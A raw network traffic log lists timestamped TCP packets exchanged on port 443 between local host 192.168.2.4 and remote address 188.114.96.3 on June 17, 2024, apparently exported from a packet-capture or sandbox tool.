Jun 17, 2024 16:18:42.605417967 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605437040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605441093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605469942 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605528116 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605549097 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605571985 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605577946 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605596066 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605612993 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605688095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605801105 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605820894 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605851889 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605858088 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605885029 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606026888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606026888 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606050014 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606071949 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606076956 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606096983 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606108904 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606115103 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606122971 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606147051 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606148005 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606184959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606189966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606220961 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606306076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606431961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606451988 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606476068 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606483936 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.606504917 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606523991 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.606623888 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710093975 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710117102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710199118 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710211039 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710242987 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710326910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710346937 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710376024 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710381985 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710406065 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710424900 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710513115 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710532904 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710556984 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710562944 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710587025 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710604906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710845947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710865021 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710892916 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710897923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.710923910 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.710941076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711378098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711397886 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711440086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711447001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711471081 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711545944 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711565971 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711591959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711602926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711622000 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711642981 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711922884 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711942911 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.711973906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.711980104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712011099 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.712246895 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712266922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712299109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.712304115 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712322950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.712342024 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.712697983 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712718010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712749004 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.712754011 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.712778091 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.712795973 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713330984 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.713351011 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.713382959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713387966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.713413954 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713432074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713606119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.713628054 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.713655949 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713661909 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.713685989 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713705063 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.713996887 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714019060 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714049101 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714055061 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714082003 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714257002 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714278936 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714308977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714314938 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714334011 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714353085 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714693069 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714713097 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714744091 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714749098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714773893 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714863062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714883089 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714906931 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714914083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.714934111 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.714952946 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715162039 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715181112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715219021 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715224981 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715259075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715306044 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715325117 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715352058 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715358019 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715385914 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715667009 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715687037 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715717077 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715722084 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.715739965 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.715764046 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716240883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716262102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716304064 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716310024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716341972 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716532946 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716552019 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716583967 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716589928 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716612101 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716629028 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716835022 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716857910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716883898 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.716887951 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.716919899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.717292070 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.717312098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.717346907 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.717353106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.717370033 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.717390060 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.718249083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.718271017 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.718305111 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.718312025 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.718334913 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.718353033 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.718441963 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.718461990 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.718485117 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.718491077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.718525887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719032049 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719053030 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719080925 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719086885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719100952 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719121933 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719167948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719187021 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719213963 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719219923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719243050 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719254971 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719259977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719268084 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719293118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719304085 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719311953 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719333887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719350100 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719521046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719541073 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719564915 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719572067 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719594002 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719613075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719788074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719808102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719834089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719839096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719863892 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719871998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719881058 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719887018 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719907999 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719909906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719938040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719943047 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.719966888 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.719993114 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.720810890 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.720829964 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.720865011 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.720870972 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.720895052 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.720912933 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.720936060 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.720957041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.720978022 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.720983982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721005917 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.721023083 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.721072912 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721091986 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721127033 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.721132994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721149921 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721163034 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.721170902 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721184969 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721191883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.721229076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.721234083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.721263885 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722201109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722220898 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722265959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722274065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722304106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722340107 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722359896 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722383976 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722389936 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722412109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722429037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722487926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722507954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722531080 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.722537041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.722567081 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723368883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723391056 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723418951 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723426104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723438978 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723448992 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723458052 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723464012 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723478079 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723491907 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723500013 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723520041 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723537922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723541021 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723553896 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723573923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723582029 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723594904 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723609924 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723625898 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723685026 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723705053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723725080 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723731995 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.723754883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.723772049 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.724863052 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.724884033 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.724914074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.724921942 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.724941015 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.724956989 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.724992990 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725012064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725035906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.725040913 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725066900 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.725069046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725081921 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725111008 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.725111008 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725123882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.725155115 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726159096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726177931 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726212025 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726218939 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726232052 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726248026 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726249933 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726264000 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726294041 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726300001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726311922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726344109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726376057 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726394892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726421118 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726427078 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726449013 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726461887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726512909 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726533890 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726556063 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726562023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.726586103 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.726603031 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727464914 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727483988 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727530956 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727539062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727566004 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727632046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727654934 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727674961 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727679968 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727706909 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727710009 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727722883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727749109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727754116 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727761984 CEST	443	49731	188.114.96.3	192.168.2.4
